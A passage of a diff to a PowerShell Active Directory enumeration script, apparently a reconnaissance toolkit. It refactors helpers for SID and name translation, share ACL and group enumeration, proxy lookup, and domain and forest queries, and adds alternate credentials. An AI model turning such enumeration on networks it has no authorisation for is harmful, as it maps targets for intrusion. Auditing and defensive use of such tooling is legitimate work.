[Parameter(Mandatory=$True, ValueFromPipeline=$True)] [String] [Alias('Name')] $ObjectName, [String] - $Domain = (Get-NetDomain).Name + $Domain ) - process { - - $ObjectName = $ObjectName -replace "/","\" - - if($ObjectName.contains("\")) { - # if we get a DOMAIN\user format, auto convert it - $Domain = $ObjectName.split("\")[0] - $ObjectName = $ObjectName.split("\")[1] - } + $ObjectName = $ObjectName -Replace "/","\" + + if($ObjectName.Contains("\")) { + # if we get a DOMAIN\user format, auto convert it + $Domain = $ObjectName.Split("\")[0] + $ObjectName = $ObjectName.Split("\")[1] + } + elseif(!$Domain) { + $Domain = (Get-NetDomain).Name + } - try { - $Obj = (New-Object System.Security.Principal.NTAccount($Domain,$ObjectName)) - $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value - } - catch { - Write-Verbose "Invalid object/name: $Domain\$ObjectName" - $Null - } + try { + $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $ObjectName)) + $SID = $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ObjectName' $ObjectName + $Out | Add-Member Noteproperty 'SID' $SID + $Out + } + catch { + Write-Verbose "Invalid object/name: $Domain\$ObjectName" + $Null } } -function Convert-SidToName { +filter Convert-SidToName { <# .SYNOPSIS @@ -1020,211 +880,217 @@ function Convert-SidToName { #> [CmdletBinding()] param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [String] + [ValidatePattern('^S-1-.*')] $SID ) - process { - try { - $SID2 = $SID.trim('*') + try { + $SID2 = $SID.trim('*') - # try to resolve any built-in SIDs first - # from https://support.microsoft.com/en-us/kb/243330 - Switch ($SID2) - { - 'S-1-0' { 'Null Authority' } - 'S-1-0-0' { 'Nobody' } - 'S-1-1' { 'World Authority' } - 'S-1-1-0' { 'Everyone' } - 'S-1-2' { 'Local Authority' } - 'S-1-2-0' { 'Local' } - 'S-1-2-1' { 'Console Logon ' } - 'S-1-3' { 'Creator Authority' } - 'S-1-3-0' { 'Creator Owner' } - 'S-1-3-1' { 'Creator Group' } - 'S-1-3-2' { 'Creator Owner Server' } - 'S-1-3-3' { 'Creator Group Server' } - 'S-1-3-4' { 'Owner Rights' } - 'S-1-4' { 'Non-unique Authority' } - 'S-1-5' { 'NT Authority' } - 'S-1-5-1' { 'Dialup' } - 'S-1-5-2' { 'Network' } - 'S-1-5-3' { 'Batch' } - 'S-1-5-4' { 'Interactive' } - 'S-1-5-6' { 'Service' } - 'S-1-5-7' { 'Anonymous' } - 'S-1-5-8' { 'Proxy' } - 'S-1-5-9' { 'Enterprise Domain Controllers' } - 'S-1-5-10' { 'Principal Self' } - 'S-1-5-11' { 'Authenticated Users' } - 'S-1-5-12' { 'Restricted Code' } - 'S-1-5-13' { 'Terminal Server Users' } - 'S-1-5-14' { 'Remote Interactive Logon' } - 'S-1-5-15' { 'This Organization ' } - 'S-1-5-17' { 'This Organization ' } - 'S-1-5-18' { 'Local System' } - 'S-1-5-19' { 'NT Authority' } - 'S-1-5-20' { 'NT Authority' } - 'S-1-5-80-0' { 'All Services ' } - 'S-1-5-32-544' { 'BUILTIN\Administrators' } - 'S-1-5-32-545' { 'BUILTIN\Users' } - 'S-1-5-32-546' { 'BUILTIN\Guests' } - 'S-1-5-32-547' { 'BUILTIN\Power Users' } - 'S-1-5-32-548' { 'BUILTIN\Account Operators' } - 'S-1-5-32-549' { 'BUILTIN\Server Operators' } - 'S-1-5-32-550' { 'BUILTIN\Print Operators' } - 'S-1-5-32-551' { 'BUILTIN\Backup Operators' } - 'S-1-5-32-552' { 'BUILTIN\Replicators' } - 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } - 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } - 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } - 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } - 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } - 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } - 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } - 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } - 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } - 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } - 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } - 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } - 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } - 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } - 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } - 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } - 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } - 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } - Default { - $Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2)) - $Obj.Translate( [System.Security.Principal.NTAccount]).Value - } + # try to resolve any built-in SIDs first + # from https://support.microsoft.com/en-us/kb/243330 + Switch ($SID2) + { + 'S-1-0' { 'Null Authority' } + 'S-1-0-0' { 'Nobody' } + 'S-1-1' { 'World Authority' } + 'S-1-1-0' { 'Everyone' } + 'S-1-2' { 'Local Authority' } + 'S-1-2-0' { 'Local' } + 'S-1-2-1' { 'Console Logon ' } + 'S-1-3' { 'Creator Authority' } + 'S-1-3-0' { 'Creator Owner' } + 'S-1-3-1' { 'Creator Group' } + 'S-1-3-2' { 'Creator Owner Server' } + 'S-1-3-3' { 'Creator Group Server' } + 'S-1-3-4' { 'Owner Rights' } + 'S-1-4' { 'Non-unique Authority' } + 'S-1-5' { 'NT Authority' } + 'S-1-5-1' { 'Dialup' } + 'S-1-5-2' { 'Network' } + 'S-1-5-3' { 'Batch' } + 'S-1-5-4' { 'Interactive' } + 'S-1-5-6' { 'Service' } + 'S-1-5-7' { 'Anonymous' } + 'S-1-5-8' { 'Proxy' } + 'S-1-5-9' { 'Enterprise Domain Controllers' } + 'S-1-5-10' { 'Principal Self' } + 'S-1-5-11' { 'Authenticated Users' } + 'S-1-5-12' { 'Restricted Code' } + 'S-1-5-13' { 'Terminal Server Users' } + 'S-1-5-14' { 'Remote Interactive Logon' } + 'S-1-5-15' { 'This Organization ' } + 'S-1-5-17' { 'This Organization ' } + 'S-1-5-18' { 'Local System' } + 'S-1-5-19' { 'NT Authority' } + 'S-1-5-20' { 'NT Authority' } + 'S-1-5-80-0' { 'All Services ' } + 'S-1-5-32-544' { 'BUILTIN\Administrators' } + 'S-1-5-32-545' { 'BUILTIN\Users' } + 'S-1-5-32-546' { 'BUILTIN\Guests' } + 'S-1-5-32-547' { 'BUILTIN\Power Users' } + 'S-1-5-32-548' { 'BUILTIN\Account Operators' } + 'S-1-5-32-549' { 'BUILTIN\Server Operators' } + 'S-1-5-32-550' { 'BUILTIN\Print Operators' } + 'S-1-5-32-551' { 'BUILTIN\Backup Operators' } + 'S-1-5-32-552' { 'BUILTIN\Replicators' } + 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } + 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } + 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } + 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } + 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } + 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } + 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } + 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } + 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } + 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } + 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } + 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } + 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } + 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } + 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } + 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } + 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } + 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } + Default { + $Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2)) + $Obj.Translate( [System.Security.Principal.NTAccount]).Value } } - catch { - # Write-Warning "Invalid SID: $SID" - $SID - } + } + catch { + Write-Debug "Invalid SID: $SID" + $SID } } -function Convert-NT4toCanonical { +filter Convert-ADName { <# .SYNOPSIS - Converts a user/group NT4 name (i.e. dev/john) to canonical format. + Converts user/group names from NT4 (DOMAIN\user) or domainSimple (user@domain.com) + to canonical format (domain.com/Users/user) or NT4. Based on Bill Stewart's code from this article: http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats .PARAMETER ObjectName - The user/group name to convert, needs to be in 'DOMAIN\user' format. + The user/group name to convert. + + .PARAMETER InputType + + The InputType of the user/group name ("NT4","Simple","Canonical"). + + .PARAMETER OutputType + + The OutputType of the user/group name ("NT4","Simple","Canonical"). .EXAMPLE - PS C:\> Convert-NT4toCanonical -ObjectName "dev\dfm" + PS C:\> Convert-ADName -ObjectName "dev\dfm" Returns "dev.testlab.local/Users/Dave" + .EXAMPLE + + PS C:\> Convert-SidToName "S-..." | Convert-ADName + + Returns the canonical name for the resolved SID. + .LINK http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats #> [CmdletBinding()] param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [String] + $ObjectName, + [String] - $ObjectName + [ValidateSet("NT4","Simple","Canonical")] + $InputType, + + [String] + [ValidateSet("NT4","Simple","Canonical")] + $OutputType ) - process { + $NameTypes = @{ + "Canonical" = 2 + "NT4" = 3 + "Simple" = 5 + } - $ObjectName = $ObjectName -replace "/","\" - - if($ObjectName.contains("\")) { - # if we get a DOMAIN\user format, try to extract the domain - $Domain = $ObjectName.split("\")[0] + if(!$PSBoundParameters['InputType']) { + if( ($ObjectName.split('/')).Count -eq 2 ) { + $ObjectName = $ObjectName.replace('/', '\') } - # Accessor functions to simplify calls to NameTranslate - function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { - $Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters) - if ( $Output ) { $Output } + if($ObjectName -match "^[A-Za-z]+\\[A-Za-z ]+$") { + $InputType = 'NT4' } - function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { - [Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters) + elseif($ObjectName -match "^[A-Za-z ]+@[A-Za-z\.]+") { + $InputType = 'Simple' } - - $Translate = New-Object -ComObject NameTranslate - - try { - Invoke-Method $Translate "Init" (1, $Domain) + elseif($ObjectName -match "^[A-Za-z\.]+/[A-Za-z]+/[A-Za-z/ ]+") { + $InputType = 'Canonical' } - catch [System.Management.Automation.MethodInvocationException] { - Write-Debug "Error with translate init in Convert-NT4toCanonical: $_" + else { + Write-Warning "Can not identify InType for $ObjectName" + return $ObjectName } + } + elseif($InputType -eq 'NT4') { + $ObjectName = $ObjectName.replace('/', '\') + } - Set-Property $Translate "ChaseReferral" (0x60) - - try { - Invoke-Method $Translate "Set" (3, $ObjectName) - (Invoke-Method $Translate "Get" (2)) - } - catch [System.Management.Automation.MethodInvocationException] { - Write-Debug "Error with translate Set/Get in Convert-NT4toCanonical: $_" + if(!$PSBoundParameters['OutputType']) { + $OutputType = Switch($InputType) { + 'NT4' {'Canonical'} + 'Simple' {'NT4'} + 'Canonical' {'NT4'} } } -} - - -function Convert-CanonicaltoNT4 { -<# - .SYNOPSIS - - Converts a user@fqdn to NT4 format. - - .PARAMETER ObjectName - - The user/group name to convert, needs to be in 'DOMAIN\user' format. - - .LINK - - http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats -#> - [CmdletBinding()] - param( - [String] $ObjectName - ) - - $Domain = ($ObjectName -split "@")[1] - - $ObjectName = $ObjectName -replace "/","\" + # try to extract the domain from the given format + $Domain = Switch($InputType) { + 'NT4' { $ObjectName.split("\")[0] } + 'Simple' { $ObjectName.split("@")[1] } + 'Canonical' { $ObjectName.split("/")[0] } + } # Accessor functions to simplify calls to NameTranslate - function Invoke-Method([__ComObject] $object, [String] $method, $parameters) { - $output = $object.GetType().InvokeMember($method, "InvokeMethod", $NULL, $object, $parameters) - if ( $output ) { $output } + function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { + $Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters) + if ( $Output ) { $Output } } - function Set-Property([__ComObject] $object, [String] $property, $parameters) { - [Void] $object.GetType().InvokeMember($property, "SetProperty", $NULL, $object, $parameters) + function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { + [Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters) } - $Translate = New-Object -comobject NameTranslate + $Translate = New-Object -ComObject NameTranslate try { Invoke-Method $Translate "Init" (1, $Domain) } - catch [System.Management.Automation.MethodInvocationException] { } + catch [System.Management.Automation.MethodInvocationException] { + Write-Debug "Error with translate init in Convert-ADName: $_" + } Set-Property $Translate "ChaseReferral" (0x60) try { - Invoke-Method $Translate "Set" (5, $ObjectName) - (Invoke-Method $Translate "Get" (3)) + Invoke-Method $Translate "Set" ($NameTypes[$InputType], $ObjectName) + (Invoke-Method $Translate "Get" ($NameTypes[$OutputType])) + } + catch [System.Management.Automation.MethodInvocationException] { + Write-Debug "Error with translate Set/Get in Convert-ADName: $_" } - catch [System.Management.Automation.MethodInvocationException] { $_ } } @@ -1264,7 +1130,7 @@ function ConvertFrom-UACValue { [CmdletBinding()] param( - [Parameter(ValueFromPipeline=$True)] + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] $Value, [Switch] @@ -1272,7 +1138,6 @@ function ConvertFrom-UACValue { ) begin { - # values from https://support.microsoft.com/en-us/kb/305144 $UACValues = New-Object System.Collections.Specialized.OrderedDictionary $UACValues.Add("SCRIPT", 1) @@ -1297,7 +1162,6 @@ function ConvertFrom-UACValue { $UACValues.Add("PASSWORD_EXPIRED", 8388608) $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216) $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864) - } process { @@ -1307,40 +1171,39 @@ function ConvertFrom-UACValue { if($Value -is [Int]) { $IntValue = $Value } - - if ($Value -is [PSCustomObject]) { + elseif ($Value -is [PSCustomObject]) { if($Value.useraccountcontrol) { $IntValue = $Value.useraccountcontrol } } + else { + Write-Warning "Invalid object input for -Value : $Value" + return $Null + } - if($IntValue) { - - if($ShowAll) { - foreach ($UACValue in $UACValues.GetEnumerator()) { - if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { - $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") - } - else { - $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") - } + if($ShowAll) { + foreach ($UACValue in $UACValues.GetEnumerator()) { + if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") + } + else { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") } } - else { - foreach ($UACValue in $UACValues.GetEnumerator()) { - if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { - $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") - } - } + } + else { + foreach ($UACValue in $UACValues.GetEnumerator()) { + if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") + } } } - $ResultUACValues } } -function Get-Proxy { +filter Get-Proxy { <# .SYNOPSIS @@ -1363,52 +1226,66 @@ function Get-Proxy { $ComputerName = $ENV:COMPUTERNAME ) - process { - try { - $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName) - $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings") - $ProxyServer = $RegKey.GetValue('ProxyServer') - $AutoConfigURL = $RegKey.GetValue('AutoConfigURL') + try { + $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName) + $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings") + $ProxyServer = $RegKey.GetValue('ProxyServer') + $AutoConfigURL = $RegKey.GetValue('AutoConfigURL') - if($AutoConfigURL -and ($AutoConfigURL -ne "")) { - try { - $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL) - } - catch { - $Wpad = "" - } + $Wpad = "" + if($AutoConfigURL -and ($AutoConfigURL -ne "")) { + try { + $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL) } - else { - $Wpad = "" + catch { + Write-Warning "Error connecting to AutoConfigURL : $AutoConfigURL" } - - if($ProxyServer -or $AutoConfigUrl) { + } + + if($ProxyServer -or $AutoConfigUrl) { - $Properties = @{ - 'ProxyServer' = $ProxyServer - 'AutoConfigURL' = $AutoConfigURL - 'Wpad' = $Wpad - } - - New-Object -TypeName PSObject -Property $Properties - } - else { - Write-Warning "No proxy settings found for $ComputerName" + $Properties = @{ + 'ProxyServer' = $ProxyServer + 'AutoConfigURL' = $AutoConfigURL + 'Wpad' = $Wpad } + + New-Object -TypeName PSObject -Property $Properties } - catch { - Write-Warning "Error enumerating proxy settings for $ComputerName" + else { + Write-Warning "No proxy settings found for $ComputerName" } } + catch { + Write-Warning "Error enumerating proxy settings for $ComputerName : $_" + } } function Get-PathAcl { +<# + .SYNOPSIS + + Enumerates the ACL for a given file path. + + .PARAMETER Path + + The local/remote path to enumerate the ACLs for. + + .PARAMETER Recurse + + If any ACL results are groups, recurse and retrieve user membership. + + .EXAMPLE + PS C:\> Get-PathAcl "\\SERVER\Share\" + + Returns ACLs for the given UNC share. +#> [CmdletBinding()] param( [Parameter(Mandatory=$True, ValueFromPipeline=$True)] - [string] + [String] $Path, [Switch] @@ -1491,7 +1368,7 @@ function Get-PathAcl { $Names = @() $SIDs = @($Object.objectsid) - if ($Recurse -and ($Object.samAccountType -ne "805306368")) { + if ($Recurse -and (@('268435456','268435457','536870912','536870913') -contains $Object.samAccountType)) { $SIDs += Get-NetGroupMember -SID $Object.objectsid | Select-Object -ExpandProperty MemberSid } @@ -1521,41 +1398,83 @@ function Get-PathAcl { } -function Get-NameField { - # function that attempts to extract the appropriate field name - # from various passed objects. This is so functions can have - # multiple types of objects passed on the pipeline. - [CmdletBinding()] - param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] - $Object - ) - process { - if($Object) { - if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) { - # objects from Get-NetComputer - $Object.dnshostname - } - elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) { - # objects from Get-NetDomainController - $Object.name - } - else { - # strings and catch alls - $Object - } - } - else { - return $Null - } - } -} +filter Get-NameField { +<# + .SYNOPSIS + + Helper that attempts to extract appropriate field names from + passed computer objects. + + .PARAMETER Object + + The passed object to extract name fields from. + + .PARAMETER DnsHostName + + A DnsHostName to extract through ValueFromPipelineByPropertyName. + + .PARAMETER Name + + A Name to extract through ValueFromPipelineByPropertyName. + + .EXAMPLE + + PS C:\> Get-NetComputer -FullData | Get-NameField +#> + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Object] + $Object, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [String] + $DnsHostName, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [String] + $Name + ) + + if($PSBoundParameters['DnsHostName']) { + $DnsHostName + } + elseif($PSBoundParameters['Name']) { + $Name + } + elseif($Object) { + if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) { + # objects from Get-NetComputer + $Object.dnshostname + } + elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) { + # objects from Get-NetDomainController + $Object.name + } + else { + # strings and catch alls + $Object + } + } + else { + return $Null + } +} function Convert-LDAPProperty { - # helper to convert specific LDAP property result fields +<# + .SYNOPSIS + + Helper that converts specific LDAP property result fields. + Used by several of the Get-Net* function. + + .PARAMETER Properties + + Properties object to extract out LDAP fields for display. +#> param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [ValidateNotNullOrEmpty()] $Properties ) @@ -1585,7 +1504,7 @@ function Convert-LDAPProperty { } } elseif($Properties[$_][0] -is [System.MarshalByRefObject]) { - # convert misc com objects + # try to convert misc com objects $Prop = $Properties[$_] try { $Temp = $Prop[$_][0] @@ -1617,7 +1536,7 @@ function Convert-LDAPProperty { # ######################################################## -function Get-DomainSearcher { +filter Get-DomainSearcher { <# .SYNOPSIS @@ -1645,6 +1564,11 @@ function Get-DomainSearcher { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-DomainSearcher -Domain testlab.local @@ -1654,8 +1578,8 @@ function Get-DomainSearcher { PS C:\> Get-DomainSearcher -Domain testlab.local -DomainController SECONDARY.dev.testlab.local #> - [CmdletBinding()] param( + [Parameter(ValueFromPipeline=$True)] [String] $Domain, @@ -1670,14 +1594,17 @@ function Get-DomainSearcher { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) - if(!$Domain) { - $Domain = (Get-NetDomain).name - } - else { - if(!$DomainController) { + if(!$Credential) { + if(!$Domain){ + $Domain = (Get-NetDomain).name + } + elseif(!$DomainController) { try { # if there's no -DomainController specified, try to pull the primary DC # to reflect queries through @@ -1688,12 +1615,28 @@ function Get-DomainSearcher { } } } + elseif (!$DomainController) { + try { + $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name + } + catch { + throw "Get-DomainSearcher: Error in retrieving PDC for current domain" + } + + if(!$DomainController) { + throw "Get-DomainSearcher: Error in retrieving PDC for current domain" + } + } $SearchString = "LDAP://" if($DomainController) { - $SearchString += $DomainController + "/" + $SearchString += $DomainController + if($Domain){ + $SearchString += "/" + } } + if($ADSprefix) { $SearchString += $ADSprefix + "," } @@ -1701,30 +1644,45 @@ function Get-DomainSearcher { if($ADSpath) { if($ADSpath -like "GC://*") { # if we're searching the global catalog - $DistinguishedName = $AdsPath + $DN = $AdsPath $SearchString = "" } else { if($ADSpath -like "LDAP://*") { - $ADSpath = $ADSpath.Substring(7) + if($ADSpath -match "LDAP://.+/.+") { + $SearchString = "" + } + else { + $ADSpath = $ADSpath.Substring(7) + } } - $DistinguishedName = $ADSpath + $DN = $ADSpath } } else { - $DistinguishedName = "DC=$($Domain.Replace('.', ',DC='))" + if($Domain -and ($Domain.Trim() -ne "")) { + $DN = "DC=$($Domain.Replace('.', ',DC='))" + } } - $SearchString += $DistinguishedName + $SearchString += $DN Write-Verbose "Get-DomainSearcher search string: $SearchString" - $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) + if($Credential) { + Write-Verbose "Using alternate credentials for LDAP connection" + $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) + $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) + } + else { + $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) + } + $Searcher.PageSize = $PageSize $Searcher } -function Get-NetDomain { +filter Get-NetDomain { <# .SYNOPSIS @@ -1734,41 +1692,70 @@ function Get-NetDomain { The domain name to query for, defaults to the current domain. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetDomain -Domain testlab.local + .EXAMPLE + + PS C:\> "testlab.local" | Get-NetDomain + .LINK http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG #> - [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] [String] - $Domain + $Domain, + + [Management.Automation.PSCredential] + $Credential ) - process { - if($Domain) { - $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) - try { - [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) - } - catch { - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - $Null - } + if($Credential) { + + Write-Verbose "Using alternate credentials for Get-NetDomain" + + if(!$Domain) { + # if no domain is supplied, extract the logon domain from the PSCredential passed + $Domain = $Credential.GetNetworkCredential().Domain + Write-Verbose "Extracted domain '$Domain' from -Credential" } - else { - [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain, $Credential.UserName, $Credential.GetNetworkCredential().Password) + + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Warning "The specified domain does '$Domain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." + $Null + } + } + elseif($Domain) { + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) } + catch { + Write-Warning "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust." + $Null + } + } + else { + [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } } -function Get-NetForest { +filter Get-NetForest { <# .SYNOPSIS @@ -1778,47 +1765,76 @@ function Get-NetForest { The forest name to query for, defaults to the current domain. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetForest -Forest external.domain + + .EXAMPLE + + PS C:\> "external.domain" | Get-NetForest #> - [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] [String] - $Forest + $Forest, + + [Management.Automation.PSCredential] + $Credential ) - process { - if($Forest) { - $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) - try { - $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) - } - catch { - Write-Debug "The specified forest $Forest does not exist, could not be contacted, or there isn't an existing trust." - $Null - } + if($Credential) { + + Write-Verbose "Using alternate credentials for Get-NetForest" + + if(!$Forest) { + # if no domain is supplied, extract the logon domain from the PSCredential passed + $Forest = $Credential.GetNetworkCredential().Domain + Write-Verbose "Extracted domain '$Forest' from -Credential" } - else { - # otherwise use the current forest - $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest, $Credential.UserName, $Credential.GetNetworkCredential().Password) + + try { + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) } - - if($ForestObject) { - # get the SID of the forest root - $ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value - $Parts = $ForestSid -Split "-" - $ForestSid = $Parts[0..$($Parts.length-2)] -join "-" - $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid - $ForestObject + catch { + Write-Warning "The specified forest '$Forest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." + $Null + } + } + elseif($Forest) { + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) + try { + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + } + catch { + Write-Warning "The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust." + return $Null } } + else { + # otherwise use the current forest + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + } + + if($ForestObject) { + # get the SID of the forest root + $ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value + $Parts = $ForestSid -Split "-" + $ForestSid = $Parts[0..$($Parts.length-2)] -join "-" + $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid + $ForestObject + } } -function Get-NetForestDomain { +filter Get-NetForestDomain { <# .SYNOPSIS @@ -1828,9 +1844,10 @@ function Get-NetForestDomain { The forest name to query domain for. - .PARAMETER Domain + .PARAMETER Credential - Return domains that match this term/wildcard. + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. .EXAMPLE @@ -1841,39 +1858,24 @@ function Get-NetForestDomain { PS C:\> Get-NetForestDomain -Forest external.local #> - [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] [String] $Forest, - [String] - $Domain + [Management.Automation.PSCredential] + $Credential ) - process { - if($Domain) { - # try to detect a wild card so we use -like - if($Domain.Contains('*')) { - (Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name -like $Domain} - } - else { - # match the exact domain name if there's not a wildcard - (Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name.ToLower() -eq $Domain.ToLower()} - } - } - else { - # return all domains - $ForestObject = Get-NetForest -Forest $Forest - if($ForestObject) { - $ForestObject.Domains - } - } + $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential + + if($ForestObject) { + $ForestObject.Domains } } -function Get-NetForestCatalog { +filter 